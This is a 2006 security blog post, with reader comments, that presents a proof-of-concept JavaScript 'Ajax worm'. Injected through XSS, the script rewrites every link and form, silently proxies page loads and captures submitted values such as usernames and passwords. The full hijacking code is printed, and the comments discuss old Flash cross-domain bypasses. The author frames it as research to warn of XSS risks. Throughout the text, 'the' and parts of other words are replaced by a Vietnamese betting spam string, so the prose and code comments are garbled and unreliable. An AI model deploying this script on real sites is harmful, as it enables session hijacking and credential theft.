Sunday, December 03, 2006

Ajax Worm - Proof of Concept

Few weeks ago I demonstrated a Proof of Concept of how easy it is to create an Ajax worm which hijacks a user session and redirects all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user activity through itself. The idea is simply to be able to control and monitor cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user activity on a website by inserting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 malicious script into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 visiting user's session using XSS. I have been advocating for some time now, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extent of damage that can be done using Ajax’s XMLHttpRequest(XHR) object. All you need is a website vulnerable to XSS attack and an attacker can inject a small javascript file which can take control of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user as long as he is on that site and in some cases even after he has left cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 website. This Proof of Concept is limited to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm propagating to a single site as Ajax cannot make cross domain requests just yet but it is under consideration. If you want cross domain request you may want to consider FlashXMLHttpRequest object.

Advanced javascript and XML also known as Ajax is a relatively newer technology and is already gaining a lot of momentum in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 industry. Ajax by itself may not open any new vulnerabilities but it does increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack surface and in combination with some vulnerabilities like cross site scripting can be very devastating by providing stealth techniques to it. In traditional web browsing, when a user clicks on a link or submits a form, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request goes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server responds back with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response and a new page is loaded on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen and a new url is displayed on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar (unless it’s a dynamic page and is submitting to itself). In eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r case, a user can see a browser screen getting refreshed and a new page getting loaded on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request and response were handled by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser. With cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of Ajax, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same request and response can be handled by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application. So now when a user clicks on a link or submits a form, using XHR object it can all be done behind cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scenes by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web application and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page doesn’t have to refresh like it used to in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 traditional way. The url on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar remains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same even though we may be loading a different url altogecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. Though, ajax has helped immensely with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applications trying to provide a better user experience and a rich user interface, but at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time it has opened a world of opportunities for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bad guys. Now an attacker can do a lot more damage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it usually would have by exploiting vulnerabilities in your application as. For example, if someone can exploit a cross site scripting vulnerability in your application, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 help of ajax cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can virtually control your application.

In this paper, I will explain, how easy it is to hijack a website with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 help of ajax by inserting a script which propagates to every page you visit on that website.


When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an ajax object
create_object creates a cross browser connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using ajax. For IE 5 and 6 we use ActiveXObject and IE7 and firefox we use XMLHttpRequest. All cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ajax communications are done using this object. The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object is XMLHttpRequest for compatibility with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web as it doesn't make much sense ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise. It supports cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transport of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r data formats in addition to XML, some implementations support ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r protocols besides HTTP (that functionality is not covered in this specification though) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 API supports sending data as well.

function create_object() {
// This is a strip down version of what I am using in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual script to demonstrate how to create a XHR object.
if(window.ActiveXObject) {
ajax_request = new ActiveXObject(MSXML2.XMLHTTP);
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}

//Code to capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links
This is where we capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links in a website. If it is an internal link cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we replace it with our javascript function, so now whenever a user clicks on any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link, browser instead of opening that page, calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript function and which in turn silently communicates with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 background, fetches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link and loads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory and while doing so, it captures all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and forms of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly loaded page.

function collect_links()
{
//Collect all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page.
var all_links = document.getElementsByTagName("a");

//Go through all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links one by one.
for(var i = 0; i < all_links.length; i++) {

//Replace all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript function.
all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
}
}


//Code to capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms.
This is where we capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms in a web page. collect_forms function does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thing as collect_links does except for it just looks for all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms and replaces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir action attribute with its javascript function. It also inserts or replaces (if already exists) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm script can identify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of submission. As you will see in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last line here that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 action attribute is replaced by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit_form function of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm. So now when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user will try to submit any form, instead of browser submitting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit_form function will be called.

function collect_forms()
{
//Collect all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page.
var all_forms = document.getElementsByTagName("form");

//Go through all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms one by one.
for(var i = 0; i < all_forms.length; i++) {
//Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original submit url.
all_forms[i].id = all_forms[i].action;

//Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit url of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript function.
all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
}
}


//Code to load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requested url dynamically
loadUrl function takes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url as a parameter and connects to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and requests for that url. The server treats it as any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r request it would have received from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client and sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file with that url. Normally it is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser who receives cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and displays it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser, but with Ajax it is our XHR object which receives cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and updates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client screen with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html code, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it calls collect_links and collect_forms function to hijack cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html code. This way, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm script is always in control of all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request/response made from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client browser to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

function loadUrl(url)
{
//Connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and request for that url.
ajax_request.open("GET", url, false);
ajax_request.send(null);

//Look for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request state and status. Status = 200 means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request was successful
if(ajax_request.status == 200) {
//Load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document’s body. This will dynamically
change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address bar of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser will
remain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same. So, even though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new url is loaded, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar of browser
will show cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original page.
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html page.
collect_links();
collect_forms();
}
}


//Code to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form parameter string
This function is called when a user tries to submit a form. As all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms are hijacked and replaced with submit_form function of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user clicks on submit button, this function is called with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form which was already replaced at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of hijacking. Based on that id, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script loads all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms and its elements. It cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post_attacker function which submits cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 values to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server, captures cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response and displays on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user window and hijacks any links or forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html code. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sake of this demo, when you enter a username and password on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 login page and clicks on submit, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script displays cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 values on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen before calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post_attacker function.
function submit_form(form_id)
{
//get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form element from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id.
var form = document.getElementById(form_id);

//This is where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form values are displayed when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user presses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit button.
var form_submit = document.getElementById('form_element');
form_submit.innerHTML = "These values will be submitted to " + form_id + "
";

//All cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters have to be in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 format of name=value to be able to submit to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
var post_url = "";

//Iterate through every element of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form.
for(var i = 0; i < form.length; i++) {
var line = form.elements[i].name + " = " + form.elements[i].value +;
form_submit.innerHTML += line + "
";
post_url += line;

//Multiple name=value have to be separated with &
if(i+1 < form.length)
post_url += "&";
}

//post it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
post_attacker(form_id, post_url);
}

//Code to submit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form dynamically
function post_attacker(url, parameters) {

//Create a POST connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url.
ajax_request.open("POST", url, false);

//Set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 header values.
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

//Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters
ajax_request.send(parameters);

//Load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document’s body
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms.
collect_links();
collect_forms();
}
}


As you can see, it is so easy to create a worm with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 help of Ajax, which controls all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 communication between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. Whatever link a user clicks on or submits a form, everything is passed through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm script. It also has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capability to make changes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data before it gets submitted to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server or before it gets loaded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user browser after it is received from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

This is just a proof of concept to reiterate how deadly a combination of cross site scripting and Ajax can be. Currently this is limited to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same site as we cannot make cross domain Ajax requests just yet. With cross domain Ajax requests, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implications could be far more dangerous. I am not against having cross domain requests in Ajax but if and when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do allow it, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y should consider cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security implications as well and if possible suggest solutions or scenarios which a developer should consider while using cross domain Ajax requests.


To look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Proof of concept, please go to http://www.attacklabs.com
To download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code, go to http://www.attacklabs.com/download/ajax_worm.zip

6 comments:

Anonymous said...

I don't understand why you call this a worm since those typically propogate and replicate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves through a system. I don't see that behaviour here, just hijacking.

Anurag Agarwal said...

Its just a Proof of concept so its limited in functionality. But you can extend this to autosubmit to any form. As i mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post that it is limited to one site but if you want cross domain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use FlashXHR object to create a self propagating worm who can exploit any website vulnerable to XSS

Anonymous said...

this is not exactly true unless cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client has old version of flash player installed

Anurag Agarwal said...

hi pdp

I am a little unsure as to what is it that you are referring as "not exactly true".

Anurag Agarwal said...

i would like to thank pdp for pointing this out to me

you can use Flash to perform XML HTTP Requests with particular versions of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 flash player but not in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 latest. At first you have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 crossdomain.xml which you need to bypass. That's easy with Amit's request injection hack but that was fixed in flash 9. Than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hack where attackers can install an image that part of it is in crossdomain.xml format and that again bypasses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security restrictions. However, that was fixed too. So, although many users are still affected, that wont work in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 latest version of flash player.

Anonymous said...

And with anti-dns pinning?